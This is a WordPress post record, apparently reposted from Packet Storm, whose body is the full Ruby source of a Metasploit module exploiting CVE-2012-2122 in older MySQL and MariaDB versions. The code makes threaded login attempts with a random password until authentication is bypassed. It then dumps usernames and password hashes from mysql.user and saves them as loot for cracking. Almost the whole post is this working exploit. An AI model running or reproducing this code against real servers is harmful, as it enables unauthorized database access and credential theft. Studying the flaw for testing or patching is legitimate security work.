{"id":59368,"date":"2024-09-01T21:29:53","date_gmt":"2024-09-01T18:29:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181221\/mysql_authbypass_hashdump.rb.txt"},"modified":"2024-09-01T21:29:53","modified_gmt":"2024-09-01T18:29:53","slug":"mysql-authentication-bypass-password-dump","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/mysql-authentication-bypass-password-dump\/","title":{"rendered":"MySQL Authentication Bypass Password Dump"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;rex\/proto\/mysql\/client&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::MYSQL<br \/>include Msf::Auxiliary::Report<\/p>\n<p>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;MySQL Authentication Bypass Password Dump&#8217;,<br \/>&#8216;Description&#8217; =&gt; %Q{<br \/>This module exploits a password bypass vulnerability in MySQL in order<br \/>to extract the usernames and encrypted password hashes from a MySQL server.<br \/>These hashes are stored as loot for later cracking.<\/p>\n<p>Impacts MySQL versions:<br \/>&#8211; 5.1.x before 5.1.63<br \/>&#8211; 5.5.x before 5.5.24<br \/>&#8211; 5.6.x before 5.6.6<\/p>\n<p>And MariaDB versions:<br \/>&#8211; 5.1.x before 5.1.62<br \/>&#8211; 5.2.x before 5.2.12<br \/>&#8211; 5.3.x before 5.3.6<br \/>&#8211; 5.5.x before 5.5.23<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;theLightCosine&#8217;, # Original hashdump module<br \/>&#8216;jcran&#8217; # Authentication bypass bruteforce implementation<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2012-2122&#8217;],<br \/>[&#8216;OSVDB&#8217;, &#8216;82804&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/2012\/06\/11\/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql\/&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;Jun 09 2012&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>deregister_options(&#8216;PASSWORD&#8217;)<br \/>register_options( [<br \/>OptString.new(&#8216;USERNAME&#8217;, [ true, &#8216;The username to authenticate as&#8217;, &#8220;root&#8221; ])<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<\/p>\n<p># Keep track of results (successful connections)<br \/>results = []\n<p># Username and password placeholders<br \/>username = datastore[&#8216;USERNAME&#8217;]password = Rex::Text.rand_text_alpha(rand(8)+1)<\/p>\n<p># Do an initial check to see if we can log into the server at all<\/p>\n<p>begin<br \/>socket = connect(false)<br \/>close_required = true<br \/>mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: socket)<br \/>results &lt;&lt; mysql_client<br \/>close_required = false<\/p>\n<p>print_good &#8220;#{mysql_client.peerhost}:#{mysql_client.peerport} The server accepted our first login as #{username} with a bad password. URI: mysql:\/\/#{username}:#{password}@#{mysql_client.peerhost}:#{mysql_client.peerport}&#8221;<\/p>\n<p>rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged<br \/>print_error &#8220;#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)&#8221;<br \/>return<br \/>rescue ::Rex::Proto::MySQL::Client::AccessDeniedError<br \/>print_good &#8220;#{rhost}:#{rport} The server allows logins, proceeding with bypass test&#8221;<br \/>rescue ::Interrupt<br \/>raise $!<br \/>rescue ::Exception =&gt; e<br \/>print_error &#8220;#{rhost}:#{rport} Error: #{e}&#8221;<br \/>return<br \/>ensure<br \/>socket.close if socket &amp;&amp; close_required<br \/>end<\/p>\n<p># Short circuit if we already won<br \/>if results.length &gt; 0<br \/>self.mysql_conn = results.first<br \/>return dump_hashes(mysql_client.peerhost, mysql_client.peerport)<br \/>end<\/p>\n<p>#<br \/># Threaded login checker<br \/>#<br \/>max_threads = 16<br \/>cur_threads = []\n<p># Try up to 1000 times just to be sure<br \/>queue = [*(1 .. 1000)]\n<p>while(queue.length &gt; 0)<br \/>while(cur_threads.length &lt; max_threads)<\/p>\n<p># We can stop if we get a valid login<br \/>break if results.length &gt; 0<\/p>\n<p># keep track of how many attempts we&#8217;ve made<br \/>item = queue.shift<\/p>\n<p># We can stop if we reach 1000 tries<br \/>break if not item<\/p>\n<p># Status indicator<br \/>print_status &#8220;#{rhost}:#{rport} Authentication bypass is #{item\/10}% complete&#8221; if (item % 100) == 0<\/p>\n<p>t = Thread.new(item) do |count|<br \/>begin<br \/># Create our socket and make the connection<br \/>close_required = true<br \/>s = connect(false)<br \/>mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: s)<\/p>\n<p>print_good &#8220;#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully bypassed authentication after #{count} attempts. URI: mysql:\/\/#{username}:#{password}@#{rhost}:#{rport}&#8221;<br \/>results &lt;&lt; mysql_client<br \/>close_required = false<br \/>rescue ::Rex::Proto::MySQL::Client::AccessDeniedError<br \/>rescue ::Exception =&gt; e<br \/>print_bad &#8220;#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}&#8221;<br \/>ensure<br \/>s.close if socket &amp;&amp; close_required<br \/>end<br \/>end<\/p>\n<p>cur_threads &lt;&lt; t<br \/>end<\/p>\n<p># We can stop if we get a valid login<br \/>break if results.length &gt; 0<\/p>\n<p># Add to a list of dead threads if we&#8217;re finished<br \/>cur_threads.each_index do |ti|<br \/>t = cur_threads[ti]if not t.alive?<br \/>cur_threads[ti] = nil<br \/>end<br \/>end<\/p>\n<p># Remove any dead threads from the set<br \/>cur_threads.delete(nil)<\/p>\n<p>::IO.select(nil, nil, nil, 0.25)<br \/>end<\/p>\n<p># Clean up any remaining threads<br \/>cur_threads.each {|x| x.kill }<\/p>\n<p>if results.length &gt; 0<br \/>print_good(&#8220;#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully exploited the authentication bypass flaw, dumping hashes&#8230;&#8221;)<br \/>self.mysql_conn = results.first<br \/>return dump_hashes(mysql_client.peerhost, mysql_client.peerport)<br \/>end<\/p>\n<p>print_error(&#8220;#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable&#8221;)<br \/>end<\/p>\n<p>def dump_hashes(host, port)<\/p>\n<p># Grabs the username and password hashes and stores them as loot<br \/>res = mysql_query(&#8220;SELECT user,password from mysql.user&#8221;)<br \/>if res.nil?<br \/>print_error(&#8220;#{host}:#{port} There was an error reading the MySQL User Table&#8221;)<br \/>return<\/p>\n<p>end<\/p>\n<p># Create a table to store data<br \/>tbl = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;MysQL Server Hashes&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Username&#8217;, &#8216;Hash&#8217;])<\/p>\n<p>if res.size &gt; 0<br \/>res.each do |row|<br \/>next unless (row[0].to_s + row[1].to_s).length &gt; 0<br \/>tbl &lt;&lt; [row[0], row[1]]print_good(&#8220;#{host}:#{port} Saving HashString as Loot: #{row[0]}:#{row[1]}&#8221;)<br \/>end<br \/>end<\/p>\n<p>this_service = nil<br \/>if framework.db and framework.db.active<br \/>this_service = report_service(<br \/>:host =&gt; host,<br \/>:port =&gt; port,<br \/>:name =&gt; &#8216;mysql&#8217;,<br \/>:proto =&gt; &#8216;tcp&#8217;<br \/>)<br \/>end<\/p>\n<p>report_hashes(tbl.to_csv, this_service, host, port) unless tbl.rows.empty?<\/p>\n<p>end<\/p>\n<p># Stores the Hash Table as Loot for Later Cracking<br \/>def report_hashes(hash_loot,service, host, port)<br \/>filename= &#8220;#{host}-#{port}_mysqlhashes.txt&#8221;<br \/>path = store_loot(&#8220;mysql.hashes&#8221;, &#8220;text\/plain&#8221;, host, hash_loot, filename, &#8220;MySQL Hashes&#8221;, service)<br \/>print_good(&#8220;#{host}:#{port} Hash Table has been saved: #{path}&#8221;)<\/p>\n<p>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;rex\/proto\/mysql\/client&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::MYSQLinclude Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;MySQL Authentication Bypass Password Dump&#8217;,&#8216;Description&#8217; =&gt; %Q{This module exploits a password bypass vulnerability in MySQL in orderto extract the usernames and encrypted password hashes from a MySQL server.These hashes are stored as loot &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59368","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59368","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59368"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59368\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59368"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59368"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59368"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}